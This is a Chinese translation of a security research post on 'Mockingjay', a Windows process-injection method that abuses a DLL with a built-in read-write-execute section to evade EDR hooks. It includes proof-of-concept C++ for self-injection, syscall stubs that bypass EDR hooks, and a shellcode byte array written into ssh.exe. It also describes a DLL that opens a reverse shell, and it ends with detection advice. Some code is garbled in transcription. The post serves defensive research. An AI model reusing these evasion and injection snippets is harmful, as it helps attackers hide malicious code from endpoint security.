1.技术研究背景
2.进程注入
3.Windows API监控
4.认识下新的注入技术
5.查找有漏洞的DLL
6.注射方法
7.自注入和EDR脱钩
8.远程进程注入
9.安全影响
10.检测方法
11.结论1.技术研究背景
进程注入是指将恶意代码注入到某个目标进程内存空间, 使攻击者能够隐藏恶意代码并逃避检测的技术。为了在Windows环境中实现该目的, 攻击者通常依赖WindowsAPI的组合, 每个API都有其特定的目的, 并在注入整个过程中遵循特定的调用顺序。
目前常见的安全解决方案或安全产品都对这些技术了解的非常透彻, 并开发了相应的模式来检测和阻止此类行为。EDR(端点检测和响应)软件通常会在每个启动进程的内存空间内对这些Windows敏感API上设置钩子, 这些钩子负责拦截并捕获传递给这些函数的参数内容, 使EDR能够识别与这些Windows API相关的潜在恶意操作。
考虑到EDR系统通常针对与注入相关的公开WindowsAPI进行布控, 我们的研究旨在发现在Windows进程的内存空间内动态执行代码的替代方法, 而不依赖于受监视的Windows API。
在研究过程中, 我们尝试了一些受信任的Windows库, 这些库已包含设置为RWX(读-写-执行)的默认保护设置。基于这点, 我们发现通过滥用这些库, 可以成功的将代码注入到各种进程中, 并彻底摆脱了对受EDR等安全软件监控的Windows API的依赖。这种新方法降低了被防御软件检测到的几率, 因为应用程序不直接调用敏感API就能实现相同的目的。
这种技术我们给起了一个名字叫"Mockingjay", 因为它比之前的进程注入技术更平滑, 且需要更少的步骤就能实现,注入的执行过程无需内存空间分配、设置权限甚至不需要启动线程。该技术的独特之处在于它需要找到有漏洞的DLL并将代码复制到正确的部分。
2.进程注入
进程注入是一种众所周知的技术，恶意软件和攻击者利用它在进程的内存空间中插入和执行代码。这种注入可以发生在执行操作的同一进程上，也可以发生在外部进程上。在注入外部进程的情况下，攻击者通常会瞄准合法进程，例如正在运行的应用程序或系统进程，旨在实现未经授权的访问、操纵进程的行为或向安全工具和防御者隐藏注入的代码。
为了在内存中注入和执行代码，无论是在同一进程还是远程进程中，攻击者都会使用 Windows API 组合，这些 API 在注入逻辑中具有不同的用途。函数调用的数量和所使用的特定 Windows API 可能会有所不同，具体取决于所选代码注入方法的技术基础。
多年来，人们开发了多种方法来实现Windows进程内存空间内的代码注入和执行。作为参考，下表中描述了最常见的进程注入方法，并根据成功实现这些方法所需的 Windows API 调用进行了比较。
| 名称 | 描述 | 用到的Windows APIs |
|---|---|---|
| 自注入 | 恶意软件加壳程序中常见技术, 该技术不会影响任何外部过程,相反,执行注入的进程与接收注入的有效负荷的 | VirtualAlloc、LocalAlloc、GlobalAlloc、VirtualProtect |
| 经典DLL注入 | 用于将恶意DLL注入到另一个进程的内存空间技术。在这种情况下,恶意样本必须首先识别其要针对的特定进程,在其中分配一部分内存并创建一个线程从磁盘开始执行恶意DLL。 | VirtualAllocEx、WriteProcessMemory、LoadLibraryCreateRemoteThread、NtCreateThreadEx、RtlCreateUserThread |
| PE注入 | 将整个PE文件映射到正在运行的进程的内存空间技术。它在目标进程内分配一个新的内存空间, 该内存空间将作为有效负载的目的地。之后,有效负载的内容使用其重定位描述符和该部分的绝对地址动态映射到该内存部分、模仿Windows加载程序的功能。 | VirtualAllocEx、WriteProcessMemory、CreateRemoteThread |
| 进程空心化 / 运行可执行程序 | 在这种技术中,目标进程的原始代码和资源被替换或删除、只留下裸露的进程框架。之后, 被挖空的进程将成为注入恶意代码的宿主,使其能够以合法进程的名义执行。 | CreateProcess、NtUnmapViewOfSection、VirtualAllocEx、WriteProcessMemory、SetThreadContextResumeThread |
| 线程执行劫持 | 用于通过将目标线程的执行重定向到任意代码来控制进程内的执行流技术。它允许攻击者操控正在运行的进程的行为,而无需创建新进程或修改底层代码。 | OpenThreadSuspendThread、VirtualAllocEx、WriteProcessMemory、SetThreadContext |
| 映射注入 | 通过利用NtMapViewOfSection,恶意代码从攻击者控制的现有部分映射到目标进程。这种方法消除了显式分配RWX部分的要求,并避免了单独复制有效负载内容的需要。恶意代码间接成为目标进程内存空间的一部分,使其能够在真实模块的上下文中执行。 | OpenProcess、CreateProcess、NtCreateSection、NtMapViewOfSection、RtlCreateUserThread |
| APC注入和 Atombombing攻击 | 该技术利用Windows操作系统中的异步调用(APC)机制,在目标进程中注入并执行恶意代码 | OpenThread、QueueUserAPC |
| 进程伪装 | 恶意软件开发中使用的技术,通过创建具有合法外观的进程来伪装恶意进程。它涉及利用事务性NTFS(TxF)和Windows进程加载机制来创建一个新进程,该进程看起来像现在的合法进程,但运行的是恶意代码。 | CreateTransaction、CreateFileTransacted、RollbackTransaction、NtCreateProcessEx |
如前所述, 每种注入技术都需要一组特定的Windows API，这些API会生成防御者和安全软件可以利用的特征模式来进行检测和缓解。
3.Windows API监控
为了有效分析、检测和缓解可疑行为，端点检测和响应 (EDR) 软件通常在设备上启动的每个进程的内存空间内的选定 Windows API 上使用特定的钩子。受监控的具体Windows API可能因EDR供应商而异，但它们通常包括与恶意技术相关的最常用功能。通过实现这些钩子，EDR 可以拦截并捕获传递给这些函数的参数。此功能允许 EDR 在任何程序的正常执行期间运行所需的检查，并识别与使用这些 Windows API 相关的潜在恶意操作并做出相应的响应。
当应用程序启动时，EDR 会收到有关新进程创建的通知并附加其自己的动态库。执行后，EDR通过更改字节代码来修改NTDLL.DLL内存中副本中的特定函数。EDR 优先考虑挂钩NTDLL.DLL，因为它充当用户应用程序和 Windows 内核之间的中间层，如附图所示。
例如，在下面的代码中，我们可以通过比较由安装了商业 EDR 解决方案的系统中运行的进程执行的NTDLL.DLL中*NtProtectVirtualMemory函数的内存中副本和以下副本来观察此类修改：磁盘上有这样的功能。在本例中，EDR 将原始指令mov eax, 0x50（红色）替换为jmp指令（蓝色）。此jmp指令执行无条件跳转到由 EDR 执行NtProtectVirtualMemory*检查的内存位置。如果在检查过程中发现任何恶意活动，EDR 会立即停止执行流程。
Original Function On-Disk: EDR Hooked Function In-Memory:
---------------------- -----------------------mov r10, rcx mov r10, rcx
mov eax, 50h jmp 0x7ffaeadea621
test byte ptr [0x7FFE0h], 1 test byte ptr [0x7FFE0h], 1
jne 0x17e76540ea5 jne 0x17e76540ea5
syscall syscall
ret ret
4.认识下新的注入技术
将代码注入进程内存的系统调用通常是EDR经常监视的点, 基于这一点, 我们的目标是找到一种方法来最大限度地减少对这些API调用的依赖或尽可能减少它们的使用。这种方法旨在减轻防御软件检测到的风险，因为我们的应用程序将执行其注入逻辑而不调用那些受监控的系统调用。
在分析了各种公开可用的注入技术后，我们发现两个基本操作始终存在。这些操作涉及分配内存空间并将该内存部分的保护设置为读-写-执行（RWX），从而使注入的代码能够无缝写入和执行。然而，这两个操作都是使用系统调用NtWriteVirtualMemory和NtProtectVirtualMemory执行的，它们受到 EDR 的严密监控。
考虑到这些系统调用的重要性以及 EDR 在此类函数上实现的监控挂钩，我们决定采用不同的方法在内存中注入和执行代码。我们的策略涉及在 Windows 操作系统中搜索预先存在的PE文件，这些文件的结构中包含默认的RWX部分。通过利用这些现有的部分，可以消除分配空间并在单独的部分上设置保护的需要。
为了实现这一目标，我们将研究分为两个不同的阶段：
识别具有默认读写执行 (RWX) 内存部分的易受攻击的 DLL。为了实现进程注入技术，滥用先前发现的 DLL 中已经存在的 RWX 内存部分。
以下小节介绍了每个阶段及其技术细节。
5.查找有漏洞的DLL
为了将代码注入到具有读写执行 (RWX) 权限的预先存在的内存部分中，我们开始对 Windows 操作系统中的库进行全面探索。为了促进这一努力，还开发了一个专用工具，可以系统地遍历整个文件系统，仔细搜索具有默认 RWX 部分特定特征的 DLL。
通过这种系统性的探索，我们的应用程序彻底检查了遇到的每个 DLL，评估它们的内存部分以确定是否存在任何默认的 RWX 部分。这种方法使我们能够识别出可以作为代码注入合适目标的潜在候选者，而不会引发防御软件的注意。
如上图所示，对文件系统的全面搜索成功地在 Visual Studio 2022 社区内发现了 DLL *msys-2.0.dll（绿色）。
值得注意的是，该 DLL 拥有一个默认的 RWX 部分，可能会被利用来加载恶意代码。当我们使用 PE-Bear 打开 DLL 时，证实了这一发现的有效性，如下图所示。
该DLL具有16KB的可用RWX空间，为注入和执行代码提供了理想的位置。通过利用这个预先存在的 RWX 部分，可以利用它提供的固有内存保护，有效地绕过可能已被 EDR 挂钩的任何函数。这种方法不仅规避了用户空间钩子所施加的限制，而且还为我们的注入技术建立了一个健壮且可靠的环境。
6.注射方法
在识别出包含磁盘上默认读-写-执行 (RWX) 部分的易受攻击的 DLL后，我们进行了多次测试来探索两种不同的方法，这些方法可以利用这种错误配置在内存中执行代码。目标是验证是否可以利用 DLL 中的 RWX 部分来最大限度地减少将代码注入同一进程的内存空间以及将代码注入其他进程的内存空间所需的 Windows API 的数量。这两种方法都利用易受攻击的 DLL 中存在的 RWX 部分来优化代码注入，从而提高攻击效率并可能逃避检测。下面概述了每种方法的详细信息。
7.自注入和EDR脱钩
在这种方法中，我们的自定义应用程序使用 Windows API LoadLibraryW和GetModuleInformation直接加载易受攻击的DLL 。DLL 中的 RWX 部分用于存储和执行注入的代码。下面的代码片段说明了这个过程：
int main(int argc, char *argv[])
{// 加载易受攻击的DLLHMODULE hDll = ::LoadLibraryW(L"path_to_vulnerable_dll");if (hDll == nullptr) {// fail}MODULEINFO moduleInfo;if (!::GetModuleInformation(::GetCurrentProcess(),hDll,&moduleInfo,sizeof(MODULEINFO))) {// fail}// 访问默认RWX部分 (有漏洞的DLL地址 + offset)LPVOID rwxSectionAddr = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET);// 将注入的代码写入RWX节WriteCodeToSection(rwxSectionAddr , injectedCode);// 执行注入的代码ExecuteCodeFromSection(rwxSectionAddr);
通过直接将存在漏洞的 DLL 加载到自定义应用程序的内存空间中，我们可以直接访问默认的 RWX 部分。这允许我们编写并执行我们想要的代码，而不需要额外的内存分配或权限设置。
计算出RWX段的地址后，我们创建了一个名为SectionDescriptor的结构来存储RWX段的初始地址和最终地址。通过将起始地址和结束地址封装在该结构中，我们可以确保在整个过程中轻松访问和有效管理 RWX 部分。
SectionDescriptor descriptor = SectionDescriptor {rwxSectionAddr,(LPVOID)((PBYTE)rwxSectionAddr + RWX_SECTION_SIZE)
};
由于此 PoC 的目的只是为了演示错误配置的 RWX 部分的使用，因此我们选择实施Hell's Gate EDR 脱钩技术。该技术涉及在主可执行文件中创建系统调用存根。它从干净的NTDLL.DLL模块中搜索并提取系统调用号。然后，这些提取的数字被传递到系统调用存根，从而能够执行所需的系统调用。Hell's Gate 是一种可靠的方法，但它依赖于NTDLL.DLL的未更改版本来进行准确的系统调用号检索，这涉及直接从磁盘加载NTDLL.DLL的原始副本，并通过解析 PE 文件提取所需的系统调用号。虽然这种方法对于红队场景可能并不理想，但所进行的测试均未通过任何 EDR 检测到此行为。
将易受攻击的 RWX 部分加载到我们的自定义应用程序的内存空间后，我们的下一步涉及在其中生成必要的存根。为了实现这一目标，我们实现了以下代码片段。
LPVOID createSyscallStub(SectionDescriptor &descriptor, LPVOID testLocation, uint32_t syscallNumber)
{BYTE stub[] = {0x49, 0x89, 0xca, // mov r10, rcx0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x00xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp qword ptr [rip]0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};ULONG stubSize = sizeof(stub);if (((PBYTE)descriptor.nextStubAddr + stubSize) > descriptor.endSectionAddr) {// fail}memcpy((uint32_t *)&stub[4], &syscallNumber, sizeof(uint32_t));memcpy((PVOID *)&stub[14], &testLocation, sizeof(PVOID));auto stubAddr = descriptor.nextStubAddr;memcpy((PBYTE *)stubAddr, &stub, stubSize);printf("[!] Stub created at 0x%p\n", stubAddr);descriptor.nextStubAddr = ((PBYTE)descriptor.nextStubAddr) + stubSize;return stubAddr;
}
首先检查是否有足够的空间来容纳新的存根。如果存在足够的空间，代码将继续从未受影响的 NTDLL.DLL 复制系统调用号以及 EDR 添加的 jmp 后面的测试指令的地址。为了简洁起见，这里不包括通过解析NTDLL.DLL获得的具体数据点。
通过采用这种利用从磁盘加载的NTDLL.DLL文件的策略，我们为 EDR 修改的每个函数动态地重新构建了原始系统调用号。因此，流程中存在的所有 EDR 挂钩均被有效消除。
实现这一点的完整过程可以描述如下：
自定义应用程序使用LoadLibraryW加载易受攻击的 DLL 。RWX 节的位置是使用 DLL 的基地址和节的偏移量来解析的。从磁盘加载 NTDLL.DLL 的干净副本，并获取所需系统调用的系统调用号。EDR 添加的 jmp 之后的测试指令的地址是从 NTDLL.DLL 内存中副本（由 EDR 挂钩）中检索的。使用测试指令的地址和系统调用号，我们在易受攻击的 DLL 的 RWX 区域中组装我们的存根。当执行存根时，它像往常一样在 EAX 寄存器中准备系统调用号，并立即跳转到所选系统调用的相应测试指令的地址，绕过 EDR 验证步骤。
在进行必要的验证后，我们的方法已被证明是注入和执行代码的成功解决方案。在这种情况下，我们能够将自己的 shellcode 注入到自定义应用程序的内存空间中，而不需要依赖 NtWriteVirtualMemory 和 NtProtectVirtualMemory 等 Windows API。完全消除对 Windows API 的依赖不仅降低了检测的可能性，而且还增强了该技术的有效性。值得注意的是，注入的 shellcode 成功删除了所有 EDR 内联用户态挂钩，而没有触发任何检测。
8.远程进程注入
我们探索的第二种方法涉及利用易受攻击的 DLL 中的 RWX 部分在远程进程中执行进程注入。这需要识别依赖于 DLL msys-2.0.dll 进行操作的非恶意二进制文件。
在我们的研究过程中，我们注意到msys-2.0.dll库通常由需要 POSIX 模拟的应用程序使用，例如 GNU 实用程序或最初不是为 Windows 环境设计的应用程序。我们在 Visual Studio 2022 Community 子目录中找到了具有这些特征的相关二进制文件。
为了进行概念验证，我们选择位于 Visual Studio 2022 Community 目录中的ssh.exe进程作为注入负载的目标。为了实现此目的，我们使用 Windows API CreateProcessW 启动ssh.exe进程作为自定义应用程序的子进程，如下面的代码所示。值得注意的是，传递给ssh.exe二进制文件的参数不需要引用真实的机器；它仅用于触发ssh.exe二进制文件中的执行逻辑。
为了进行概念验证，我们专门选择了位于 Visual Studio 目录中的ssh.exe进程来注入有效负载。
需要注意的是，在这种注入方法中，不需要在目标进程中显式创建线程，因为进程会自动执行注入的代码。
这种固有行为使得端点检测和响应 (EDR) 系统很难检测到这种方法。
LPTSTR command = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TeamFoundation\\Team Explorer\\Git\\usr\\bin\\ssh.exe";LPTSTR args = L"ssh.exe decoy@decoy.dom";STARTUPINFOW si;PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(si));si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi));DWORD dwCreationFlags = 0;BOOL success = ::CreateProcessW(command,args,nullptr,nullptr,FALSE,dwCreationFlags | DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS,nullptr,nullptr,&si,&pi);
创建进程并允许其执行提供的命令行参数后，下一步是打开进程并将有效负载直接移动到读-写-执行 (RWX) 部分。
这可以使用 OpenProcess 和 WriteProcessMemory Windows API 来完成，如下面的代码片段所示：
unsigned char buf[] ="\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" "\x51\x41\x50\x52\x51\ x56\x48\x31\xd2\x65\x48\x8b\x52\x60" "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" "\ x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\ x41\x01\xc1\xe2" "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" "\x01\xd0\x3e\x8b\x80\ x88\x00\x00\x00\x48\x85\xc0\x74\x6f" "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" "\ x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01""\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\ xc9\x0d\x41\x01" "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd6\x58\x3e\x44\ x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" "\ x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\ xff\xe0\x58\x41" "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" "\xc1\x00\x00\x00\x00\ x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e" "\x4c\x8d\x85\x0b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" "\ x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff" "\xd5\x48\x65\x6c\x6c\x6f\x2c\x20\x4a\x4f\ x45\x53\x21\x00" "\x41\x6c\x65\x72\x74\x00";HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,pi.dwProcessId);if (hProcess == nullptr) {printf("[x] ReadProcessMemory failed with status 0x%x\n",::GetLastError());return 1；}if (!DebugActiveProcess(4236)) {printf("[x] DebugActiveProcess failed with status 0x%x\n",::GetLastError());::CloseHandle(hProcess); return 1；SIZE_T bytesWritten = 0;if (!WriteProcessMemory(hProcess, (LPVOID)0x21022D120, buf,sizeof(buf), &bytesWritten)) {printf("[x] WriteProcessMemory failed with status 0x%x\n",::GetLastError());}
一旦我们的代码成功写入ssh.exe进程内存的读写执行（RWX）部分，我们就可以耐心等待ssh.exe的执行流程自然到达RWX部分并执行我们注入的代码。需要注意的是，在这种特定情况下，目标 DLL 不采用地址空间布局随机化 (ASLR)，这意味着 RWX 部分的地址保持一致，并且可以在有效负载中进行硬编码。因此，不需要在运行时动态解析目标部分的地址。
出于概念验证的目的，ssh.exe 进程中注入的 shellcode 尝试将名为 MyLibrary.dll 的附加 DLL 加载到内存中。
该 DLL 旨在与外部计算机建立后端连接 shell 会话。
但是，需要注意的是，可以根据开发人员的意图自定义此 DLL 的功能以执行任何所需的操作。
经过大量测试，我们的方法已被证明是在使用 DLL msys-2.0.dll 的远程进程中注入和执行代码的非常成功的解决方案。在这种情况下，能够将自己的代码注入到 ssh.exe 进程的内存空间中，而不会被 EDR 检测到。
这项技术的独特之处在于，不需要在目标进程中分配内存、设置权限或创建新线程来启动注入代码的执行。这种差异使该策略有别于其他现有技术，并使端点检测和响应 (EDR) 系统检测该方法面临挑战。
值得注意的是，注入的shellcode无缝加载了一个额外的DLL，并在ssh.exe进程中创建了一个远程 shell，如上图所示，同时规避了检测机制。
这次成功的演示凸显了我们的方法在不引起怀疑的情况下实现预期结果的有效性和谨慎性。
实现这一目标的完整过程可以概括如下：
执行自定义应用程序。使用 DLL msys-2.0.dll 的可信应用程序 (ssh.exe) 作为子进程启动。自定义应用程序打开目标进程 (ssh.exe) 的句柄。要注入的代码被复制到 msys-2.0.dll 的 RWX 部分。受信任的应用程序在其正常执行流程中执行注入的代码。额外的 DLL MyLibrary.dll 由 RWX 部分中注入的 shellcode 加载。返回连接 shell 会话已建立。
9.安全影响
正如本研究论文前面提到的，攻击者可以利用此技术通过逃避用户空间挂钩并将恶意代码注入可信软件的进程空间来规避 EDR 或防病毒软件的检测。在本博客文章演示的概念验证中，被利用进行注入的易受攻击的 DLL 是 msys-2.0.dll。然而，值得注意的是，可能有许多其他 DLL 具有相似的特征，这使得检测这种行为更具挑战性。
为了有效抵御此类攻击，安全解决方案需要采用全面且主动的方法，而不仅仅是对特定 DLL 或系统调用进行静态监视。行为分析、异常检测和机器学习技术可以增强识别进程注入技术和检测可信进程内存空间内恶意活动的能力。
10.检测方法
我们向信息安全社区提供以下一组想法，以帮助在你的环境中寻找这种威胁，请随意测试它们并根据需要进行改进。
查找由可疑或不常见进程启动的 GNU 实用程序。从ssh.exe或任何其他 GNU 实用程序等进程查找到非标准端口的网络连接。维护具有此类特征的 DLL 数据库，并识别非合法进程进行的任何加载尝试。采用基于信誉的系统为 DLL 分配信任级别，同时考虑 DLL 的来源、数字证书、历史行为及其部分的特征等因素。
11.结论
这项研究为利用具有读-写-执行 (RWX) 部分的合法 DLL 作为逃避用户态挂钩和将代码注入远程进程的有效方法提供了宝贵的见解。通过利用具有这些属性的可信库，威胁参与者可以绕过分配 RWX 内存、设置权限甚至在目标进程中创建新线程的需要。这些发现强调了实施全面防御策略来打击此类先进规避技术的至关重要性。组织应采用动态分析技术来检测和分析运行时行为，利用行为分析来识别异常活动，利用基于签名的检测已知恶意模式，实施基于信誉的系统来标记可疑文件或活动，并建立强大的内存保护机制防止未经授权的代码执行。
原文地址:
https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution
原创 二进制空间安全
